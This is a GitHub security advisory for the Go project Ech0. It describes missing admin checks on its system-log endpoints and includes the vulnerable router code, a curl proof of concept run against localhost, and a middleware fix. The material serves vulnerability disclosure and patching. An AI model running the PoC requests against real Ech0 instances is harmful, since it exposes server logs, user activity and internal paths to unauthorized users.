GHSA-w8jj-cwmc-wgq2: Ech0's Missing Authorization on System Logs Allows Non-Admin Information Disclosure
Summary The system log endpoints (GET /api/system/logs, GET /api/system/logs/stream, WS /ws/system/logs) lack authorization checks, allowing any authenticated non-admin user to read and stream all server logs. These logs contain error stack traces, internal file paths, module names, and arbitrary structured fields that facilitate reconnaissance for further attacks.
Published Apr 10, 2026
Affected packages
github.com/lin-snow/ech0
- Ecosystem
- Go
- Affected
- < 4.4.3
- Fixed in
- 4.4.3
- Check
go list -m github.com/lin-snow/ech0
Advisory details
From the GitHub Advisory Database (CC BY 4.0).
Summary
The system log endpoints (GET /api/system/logs, GET /api/system/logs/stream, WS /ws/system/logs) lack authorization checks, allowing any authenticated non-admin user to read and stream all server logs. These logs contain error stack traces, internal file paths, module names, and arbitrary structured fields that facilitate reconnaissance for further attacks.
Details
The dashboard routes in internal/router/dashboard.go:7-8 register log endpoints on the AuthRouterGroup without any RequireScopes middleware:
// internal/router/dashboard.go
func setupDashboardRoutes(appRouterGroup *AppRouterGroup, h *handler.Bundle) {
appRouterGroup.AuthRouterGroup.GET("/system/logs", h.DashboardHandler.GetSystemLogs())
appRouterGroup.AuthRouterGroup.GET("/system/logs/stream", h.DashboardHandler.SSESubscribeSystemLogs())
appRouterGroup.WSRouterGroup.GET("/system/logs", h.DashboardHandler.WSSubscribeSystemLogs())
}Compare with other admin-only routes that properly use RequireScopes:
// internal/router/setting.go — every route has RequireScopes
appRouterGroup.AuthRouterGroup.GET("/settings",
middleware.RequireScopes(authModel.ScopeAdminSettings),
h.SettingHandler.GetSiteSettings())The AuthRouterGroup only applies JWTAuthMiddleware() (router.go:36), which validates the JWT and sets the viewer context but does not check admin status. The WSRouterGroup (router.go:37) has no middleware at all — the WebSocket handler only calls ParseToken to verify the JWT signature (dashboard.go:74) without any role/scope validation.
The handler (internal/handler/dashboard/dashboard.go:29-62) and service (internal/service/dashboard/dashboard.go:21-27) contain zero authorization checks. Other services in the codebase properly enforce admin access:
internal/service/inbox/inbox.go:132—ensureAdmin()internal/service/migrator/migrator.go:360—ensureAdmin()internal/service/comment/comment.go:719—requireAdmin()
Non-admin users are created with IsAdmin: false and IsOwner: false (internal/service/user/user.go:220-221) via the public registration endpoint.
The LogEntry struct (internal/util/log/log.go:78-87) exposes:
type LogEntry struct {
Time string `json:"time"`
Level string `json:"level"`
Msg string `json:"msg"`
Module string `json:"module,omitempty"`
Caller string `json:"caller,omitempty"` // internal file paths
Error string `json:"error,omitempty"` // error stack traces
Fields map[string]any `json:"fields,omitempty"` // arbitrary structured data
Raw string `json:"raw,omitempty"` // raw log lines
}PoC
# 1. Register a non-admin user (system allows up to 5 users by default)
curl -X POST http://localhost:8080/api/register \
-H 'Content-Type: application/json' \
-d '{"username":"attacker","password":"Password123"}'
# 2. Login to get session token
TOKEN=$(curl -s -X POST http://localhost:8080/api/login \
-H 'Content-Type: application/json' \
-d '{"username":"attacker","password":"Password123"}' | jq -r '.data.token')
# 3. Read system logs — should require admin but doesn't
curl http://localhost:8080/api/system/logs \
-H "Authorization: Bearer $TOKEN"
# Returns: {"code":1,"data":[{"time":"...","level":"error","msg":"...","module":"...","caller":"internal/service/user/user.go:145","error":"...","fields":{...}},...]}
# 4. Subscribe to real-time log stream via SSE
curl -N "http://localhost:8080/api/system/logs/stream?token=$TOKEN"
# 5. Subscribe via WebSocket (WSRouterGroup has NO middleware)
# wscat -c "ws://localhost:8080/ws/system/logs?token=$TOKEN"Impact
Any registered non-admin user can:
- Read all historical system logs including error traces that reveal internal code paths, database errors, and application state
- Stream real-time logs via SSE or WebSocket to monitor all server activity as it happens
- Gather reconnaissance data — caller fields expose internal file paths and line numbers, error fields expose stack traces and database query failures, module fields map the internal architecture
- Monitor other users' actions — authentication failures, registration events, and admin operations appear in logs
This information disclosure lowers the bar for chaining further attacks by revealing the application's internal structure, error handling patterns, and operational state.
Recommended Fix
Add RequireScopes middleware with an admin scope to the dashboard routes:
// internal/router/dashboard.go
func setupDashboardRoutes(appRouterGroup *AppRouterGroup, h *handler.Bundle) {
appRouterGroup.AuthRouterGroup.GET("/system/logs",
middleware.RequireScopes(authModel.ScopeAdminSettings),
h.DashboardHandler.GetSystemLogs())
appRouterGroup.AuthRouterGroup.GET("/system/logs/stream",
middleware.RequireScopes(authModel.ScopeAdminSettings),
h.DashboardHandler.SSESubscribeSystemLogs())
appRouterGroup.WSRouterGroup.GET("/system/logs",
middleware.RequireScopes(authModel.ScopeAdminSettings),
h.DashboardHandler.WSSubscribeSystemLogs())
}Additionally, the WebSocket handler should validate admin scope after parsing the token, since the WSRouterGroup lacks middleware:
// internal/handler/dashboard/dashboard.go — WSSubscribeSystemLogs
claims, err := jwtUtil.ParseToken(token)
if err != nil {
ctx.AbortWithStatusJSON(http.StatusUnauthorized, gin.H{"msg": "invalid token"})
return
}
// Add admin check for WebSocket endpoint
if claims.TokenType == authModel.TokenTypeAccess && !containsScope(claims.Scopes, authModel.ScopeAdminSettings) {
ctx.AbortWithStatusJSON(http.StatusForbidden, gin.H{"msg": "admin access required"})
return
}Credited to offset.
References
How this page is made: the data panel comes from the GitHub Advisory Database, CISA’s KEV catalog, the NVD and FIRST EPSS, and updates twice a day. No analysis has been written for this entry yet. Methodology
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